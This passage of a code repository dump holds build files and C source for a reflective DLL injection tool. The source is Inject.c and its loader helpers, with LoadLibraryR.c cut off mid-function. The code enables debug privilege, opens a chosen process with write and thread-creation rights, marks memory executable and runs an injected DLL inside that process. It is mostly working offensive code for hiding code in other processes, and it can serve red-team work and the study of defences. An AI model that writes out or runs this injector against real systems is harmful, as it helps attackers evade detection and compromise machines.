Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'"> 137 | <ClCompile> 138 | <Optimization>Disabled</Optimization> 139 | <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> 140 | <MinimalRebuild>true</MinimalRebuild> 141 | <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks> 142 | <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary> 143 | <PrecompiledHeader> 144 | </PrecompiledHeader> 145 | <WarningLevel>Level3</WarningLevel> 146 | <DebugInformationFormat>EditAndContinue</DebugInformationFormat> 147 | </ClCompile> 148 | <Link> 149 | <GenerateDebugInformation>true</GenerateDebugInformation> 150 | <SubSystem>Console</SubSystem> 151 | </Link> 152 | </ItemDefinitionGroup> 153 | <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> 154 | <Midl> 155 | <TargetEnvironment>X64</TargetEnvironment> 156 | </Midl> 157 | <ClCompile> 158 | <Optimization>Disabled</Optimization> 159 | <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> 160 | <MinimalRebuild>true</MinimalRebuild> 161 | <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks> 162 | <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary> 163 | <PrecompiledHeader /> 164 | <WarningLevel>Level3</WarningLevel> 165 | <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> 166 | </ClCompile> 167 | <Link> 168 | <GenerateDebugInformation>true</GenerateDebugInformation> 169 | <SubSystem>Console</SubSystem> 170 | <TargetMachine>MachineX64</TargetMachine> 171 | </Link> 172 | </ItemDefinitionGroup> 173 | <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> 174 | <ClCompile> 175 | <Optimization>MaxSpeed</Optimization> 176 | <IntrinsicFunctions>true</IntrinsicFunctions> 177 | <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;WIN_X86;%(PreprocessorDefinitions)</PreprocessorDefinitions> 178 | <RuntimeLibrary>MultiThreaded</RuntimeLibrary> 179 | <FunctionLevelLinking>true</FunctionLevelLinking> 180 | <PrecompiledHeader /> 181 | <WarningLevel>Level3</WarningLevel> 182 | <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> 183 | </ClCompile> 184 | <Link> 185 | <GenerateDebugInformation>true</GenerateDebugInformation> 186 | <SubSystem>Console</SubSystem> 187 | <OptimizeReferences>true</OptimizeReferences> 188 | <EnableCOMDATFolding>true</EnableCOMDATFolding> 189 | <TargetMachine>MachineX86</TargetMachine> 190 | </Link> 191 | <PostBuildEvent> 192 | <Command>copy ..\Release\inject.exe ..\bin\</Command> 193 | </PostBuildEvent> 194 | </ItemDefinitionGroup> 195 | <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'"> 196 | <ClCompile> 197 | <Optimization>MaxSpeed</Optimization> 198 | <IntrinsicFunctions>true</IntrinsicFunctions> 199 | <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;WIN_ARM;%(PreprocessorDefinitions)</PreprocessorDefinitions> 200 | <RuntimeLibrary>MultiThreaded</RuntimeLibrary> 201 | <FunctionLevelLinking>true</FunctionLevelLinking> 202 | <PrecompiledHeader> 203 | </PrecompiledHeader> 204 | <WarningLevel>Level3</WarningLevel> 205 | <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> 206 | </ClCompile> 207 | <Link> 208 | <GenerateDebugInformation>true</GenerateDebugInformation> 209 | <SubSystem>Console</SubSystem> 210 | <OptimizeReferences>true</OptimizeReferences> 211 | <EnableCOMDATFolding>true</EnableCOMDATFolding> 212 | <OutputFile>$(OutDir)inject.arm.exe</OutputFile> 213 | <AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies> 214 | </Link> 215 | <PostBuildEvent> 216 | <Command>copy ..\ARM\Release\inject.arm.exe ..\bin\</Command> 217 | </PostBuildEvent> 218 | </ItemDefinitionGroup> 219 | <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> 220 | <Midl> 221 | <TargetEnvironment>X64</TargetEnvironment> 222 | </Midl> 223 | <ClCompile> 224 | <Optimization>MaxSpeed</Optimization> 225 | <IntrinsicFunctions>true</IntrinsicFunctions> 226 | <PreprocessorDefinitions>WIN64;NDEBUG;_CONSOLE;_WIN64;WIN_X64;%(PreprocessorDefinitions)</PreprocessorDefinitions> 227 | <RuntimeLibrary>MultiThreaded</RuntimeLibrary> 228 | <FunctionLevelLinking>true</FunctionLevelLinking> 229 | <PrecompiledHeader /> 230 | <WarningLevel>Level3</WarningLevel> 231 | <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> 232 | </ClCompile> 233 | <Link> 234 | <OutputFile>$(OutDir)inject.x64.exe</OutputFile> 235 | <GenerateDebugInformation>true</GenerateDebugInformation> 236 | <SubSystem>Console</SubSystem> 237 | <OptimizeReferences>true</OptimizeReferences> 238 | <EnableCOMDATFolding>true</EnableCOMDATFolding> 239 | <TargetMachine>MachineX64</TargetMachine> 240 | </Link> 241 | <PostBuildEvent> 242 | <Command>copy ..\x64\Release\inject.x64.exe ..\bin\</Command> 243 | </PostBuildEvent> 244 | </ItemDefinitionGroup> 245 | <ItemGroup> 246 | <ClCompile Include="src\GetProcAddressR.c" /> 247 | <ClCompile Include="src\Inject.c" /> 248 | <ClCompile Include="src\LoadLibraryR.c" /> 249 | </ItemGroup> 250 | <ItemGroup> 251 | <ClInclude Include="src\GetProcAddressR.h" /> 252 | <ClInclude Include="src\LoadLibraryR.h" /> 253 | <ClInclude Include="src\ReflectiveDLLInjection.h" /> 254 | </ItemGroup> 255 | <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> 256 | <ImportGroup Label="ExtensionTargets"> 257 | </ImportGroup> 258 | </Project> -------------------------------------------------------------------------------- /inject/inject.vcxproj.filters: -------------------------------------------------------------------------------- 1 | <?xml version="1.0" encoding="utf-8"?> 2 | <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> 3 | <ItemGroup> 4 | <Filter Include="Source Files"> 5 | <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier> 6 | <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions> 7 | </Filter> 8 | <Filter Include="Header Files"> 9 | <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier> 10 | <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions> 11 | </Filter> 12 | </ItemGroup> 13 | <ItemGroup> 14 | <ClCompile Include="src\GetProcAddressR.c"> 15 | <Filter>Source Files</Filter> 16 | </ClCompile> 17 | <ClCompile Include="src\Inject.c"> 18 | <Filter>Source Files</Filter> 19 | </ClCompile> 20 | <ClCompile Include="src\LoadLibraryR.c"> 21 | <Filter>Source Files</Filter> 22 | </ClCompile> 23 | </ItemGroup> 24 | <ItemGroup> 25 | <ClInclude Include="src\GetProcAddressR.h"> 26 | <Filter>Header Files</Filter> 27 | </ClInclude> 28 | <ClInclude Include="src\LoadLibraryR.h"> 29 | <Filter>Header Files</Filter> 30 | </ClInclude> 31 | <ClInclude Include="src\ReflectiveDLLInjection.h"> 32 | <Filter>Header Files</Filter> 33 | </ClInclude> 34 | </ItemGroup> 35 | </Project> -------------------------------------------------------------------------------- /inject/src/GetProcAddressR.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "GetProcAddressR.h" 29 | //===============================================================================================// 30 | // We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which 31 | // wont be able to resolve exported addresses in reflectivly loaded librarys. 32 | FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ) 33 | { 34 | UINT_PTR uiLibraryAddress = 0; 35 | FARPROC fpResult = NULL; 36 | 37 | if( hModule == NULL ) 38 | return NULL; 39 | 40 | // a module handle is really its base address 41 | uiLibraryAddress = (UINT_PTR)hModule; 42 | 43 | __try 44 | { 45 | UINT_PTR uiAddressArray = 0; 46 | UINT_PTR uiNameArray = 0; 47 | UINT_PTR uiNameOrdinals = 0; 48 | PIMAGE_NT_HEADERS pNtHeaders = NULL; 49 | PIMAGE_DATA_DIRECTORY pDataDirectory = NULL; 50 | PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL; 51 | 52 | // get the VA of the modules NT Header 53 | pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); 54 | 55 | pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 56 | 57 | // get the VA of the export directory 58 | pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress ); 59 | 60 | // get the VA for the array of addresses 61 | uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions ); 62 | 63 | // get the VA for the array of name pointers 64 | uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames ); 65 | 66 | // get the VA for the array of name ordinals 67 | uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals ); 68 | 69 | // test if we are importing by name or by ordinal... 70 | if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 ) 71 | { 72 | // import by ordinal... 73 | 74 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 75 | uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) ); 76 | 77 | // resolve the address for this imported function 78 | fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) ); 79 | } 80 | else 81 | { 82 | // import by name... 83 | DWORD dwCounter = pExportDirectory->NumberOfNames; 84 | while( dwCounter-- ) 85 | { 86 | char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray )); 87 | 88 | // test if we have a match... 89 | if( strcmp( cpExportedFunctionName, lpProcName ) == 0 ) 90 | { 91 | // use the functions name ordinal as an index into the array of name pointers 92 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 93 | 94 | // calculate the virtual address for the function 95 | fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray )); 96 | 97 | // finish... 98 | break; 99 | } 100 | 101 | // get the next exported function name 102 | uiNameArray += sizeof(DWORD); 103 | 104 | // get the next exported function name ordinal 105 | uiNameOrdinals += sizeof(WORD); 106 | } 107 | } 108 | } 109 | __except( EXCEPTION_EXECUTE_HANDLER ) 110 | { 111 | fpResult = NULL; 112 | } 113 | 114 | return fpResult; 115 | } 116 | //===============================================================================================// -------------------------------------------------------------------------------- /inject/src/GetProcAddressR.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H 29 | #define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H 30 | //===============================================================================================// 31 | #include "ReflectiveDLLInjection.h" 32 | 33 | FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ); 34 | //===============================================================================================// 35 | #endif 36 | //===============================================================================================// 37 | -------------------------------------------------------------------------------- /inject/src/Inject.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #define WIN32_LEAN_AND_MEAN 29 | #include <windows.h> 30 | #include <stdio.h> 31 | #include <stdlib.h> 32 | #include "LoadLibraryR.h" 33 | 34 | #pragma comment(lib,"Advapi32.lib") 35 | 36 | #define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; } 37 | 38 | // Simple app to inject a reflective DLL into a process vis its process ID. 39 | int main( int argc, char * argv[] ) 40 | { 41 | HANDLE hFile = NULL; 42 | HANDLE hModule = NULL; 43 | HANDLE hProcess = NULL; 44 | HANDLE hToken = NULL; 45 | LPVOID lpBuffer = NULL; 46 | DWORD dwLength = 0; 47 | DWORD dwBytesRead = 0; 48 | DWORD dwProcessId = 0; 49 | TOKEN_PRIVILEGES priv = {0}; 50 | 51 | #ifdef WIN_X64 52 | char * cpDllFile = "reflective_dll.x64.dll"; 53 | #else 54 | #ifdef WIN_X86 55 | char * cpDllFile = "reflective_dll.dll"; 56 | #else WIN_ARM 57 | char * cpDllFile = "reflective_dll.arm.dll"; 58 | #endif 59 | #endif 60 | 61 | do 62 | { 63 | // Usage: inject.exe [pid] [dll_file] 64 | 65 | if( argc == 1 ) 66 | dwProcessId = GetCurrentProcessId(); 67 | else 68 | dwProcessId = atoi( argv[1] ); 69 | 70 | if( argc >= 3 ) 71 | cpDllFile = argv[2]; 72 | 73 | hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); 74 | if( hFile == INVALID_HANDLE_VALUE ) 75 | BREAK_WITH_ERROR( "Failed to open the DLL file" ); 76 | 77 | dwLength = GetFileSize( hFile, NULL ); 78 | if( dwLength == INVALID_FILE_SIZE || dwLength == 0 ) 79 | BREAK_WITH_ERROR( "Failed to get the DLL file size" ); 80 | 81 | lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength ); 82 | if( !lpBuffer ) 83 | BREAK_WITH_ERROR( "Failed to get the DLL file size" ); 84 | 85 | if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE ) 86 | BREAK_WITH_ERROR( "Failed to alloc a buffer!" ); 87 | 88 | if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) 89 | { 90 | priv.PrivilegeCount = 1; 91 | priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 92 | 93 | if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) 94 | AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); 95 | 96 | CloseHandle( hToken ); 97 | } 98 | 99 | hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId ); 100 | if( !hProcess ) 101 | BREAK_WITH_ERROR( "Failed to open the target process" ); 102 | 103 | hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL ); 104 | if( !hModule ) 105 | BREAK_WITH_ERROR( "Failed to inject the DLL" ); 106 | 107 | printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId ); 108 | 109 | WaitForSingleObject( hModule, -1 ); 110 | 111 | } while( 0 ); 112 | 113 | if( lpBuffer ) 114 | HeapFree( GetProcessHeap(), 0, lpBuffer ); 115 | 116 | if( hProcess ) 117 | CloseHandle( hProcess ); 118 | 119 | return 0; 120 | } -------------------------------------------------------------------------------- /inject/src/LoadLibraryR.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "LoadLibraryR.h" 29 | #include <stdio.h> 30 | //===============================================================================================// 31 | DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress ) 32 | { 33 | WORD wIndex = 0; 34 | PIMAGE_SECTION_HEADER pSectionHeader = NULL; 35 | PIMAGE_NT_HEADERS pNtHeaders = NULL; 36 | 37 | pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); 38 | 39 | pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader); 40 | 41 | if( dwRva < pSectionHeader[0].PointerToRawData ) 42 | return dwRva; 43 | 44 | for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ ) 45 | { 46 | if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) ) 47 | return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData ); 48 | } 49 | 50 | return 0; 51 | } 52 | //===============================================================================================// 53 | DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ) 54 | { 55 | UINT_PTR uiBaseAddress = 0; 56 | UINT_PTR uiExportDir = 0; 57 | UINT_PTR uiNameArray = 0; 58 | UINT_PTR uiAddressArray = 0; 59 | UINT_PTR uiNameOrdinals = 0; 60 | DWORD dwCounter = 0; 61 | #ifdef WIN_X64 62 | DWORD dwCompiledArch = 2; 63 | #else 64 | // This will catch Win32 and WinRT. 65 | DWORD dwCompiledArch = 1; 66 | #endif 67 | 68 | uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; 69 | 70 | // get the File Offset of the modules NT Header 71 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 72 | 73 | // currenlty we can only process a PE file which is the same type as the one this fuction has 74 | // been compiled as, due to various offset in the PE structures being defined at compile time. 75 | if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32 76 | { 77 | if( dwCompiledArch != 1 ) 78 | return 0; 79 | } 80 | else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64 81 | { 82 | if( dwCompiledArch != 2 ) 83 | return 0; 84 | } 85 | else 86 | { 87 | return 0; 88 | } 89 | 90 | // uiNameArray = the address of the modules export directory entry 91 | uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 92 | 93 | // get the File Offset of the export directory 94 | uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress ); 95 | 96 | // get the File Offset for the array of name pointers 97 | uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress ); 98 | 99 | // get the File Offset for the array of addresses 100 | uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); 101 | 102 | // get the File Offset for the array of name ordinals 103 | uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress ); 104 | 105 | // get a counter for the number of exported functions... 106 | dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames; 107 | 108 | // loop through all the exported functions to find the ReflectiveLoader 109 | while( dwCounter-- ) 110 | { 111 | char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress )); 112 | 113 | if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL ) 114 | { 115 | // get the File Offset for the array of addresses 116 | uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); 117 | 118 | // use the functions name ordinal as an index into the array of name pointers 119 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 120 | 121 | // return the File Offset to the ReflectiveLoader() functions code... 122 | return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress ); 123 | } 124 | // get the next exported function name 125 | uiNameArray += sizeof(DWORD); 126 | 127 | // get the next exported function name ordinal 128 | uiNameOrdinals += sizeof(WORD); 129 | } 130 | 131 | return 0; 132 | } 133 | //===============================================================================================// 134 | // Loads a DLL image from memory via its exported ReflectiveLoader function 135 | HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ) 136 | { 137 | HMODULE hResult = NULL; 138 | DWORD dwReflectiveLoaderOffset = 0; 139 | DWORD dwOldProtect1 = 0; 140 | DWORD dwOldProtect2 = 0; 141 | REFLECTIVELOADER pReflectiveLoader = NULL; 142 | DLLMAIN pDllMain = NULL; 143 | 144 | if( lpBuffer == NULL || dwLength == 0 ) 145 | return NULL; 146 | 147 | __try 148 | { 149 | // check if the library has a ReflectiveLoader... 150 | dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); 151 | if( dwReflectiveLoaderOffset != 0 ) 152 | { 153 | pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset); 154 | 155 | // we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader... 156 | // this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region 157 | if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) ) 158 | { 159 | // call the librarys ReflectiveLoader... 160 | pDllMain = (DLLMAIN)pReflectiveLoader(); 161 | if( pDllMain != NULL ) 162 | { 163 | // call the loaded librarys DllMain to get its HMODULE 164 | if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) ) 165 | hResult = NULL; 166 | } 167 | // revert to the previous protection flags... 168 | VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 ); 169 | } 170 | } 171 | } 172 | __except( EXCEPTION_EXECUTE_HANDLER ) 173 | { 174 | hResult = NULL; 175 | } 176 | 177 | return hResult; 178 | } 179 | //===============================================================================================// 180 | // Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function 181 | // Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 182 | // defined in order to use the correct RDI prototypes. 183 | // Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 184 | // PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ 185 | // Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space. 186 | // Note: This function currently cant inject accross architectures, but only to architectures which are the 187 | // same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64. 188 | HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ) 189 | { 190 | BOOL bSuccess = FALSE; 191 | LPVOID lpRemoteLibraryBuffer = NULL; 192 | LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; 193 | HANDLE hThread = NULL; 194 | DWORD dwReflectiveLoaderOffset = 0; 195 | DWORD dwThreadId = 0; 196 | 197 | __try 198 | { 199 | do 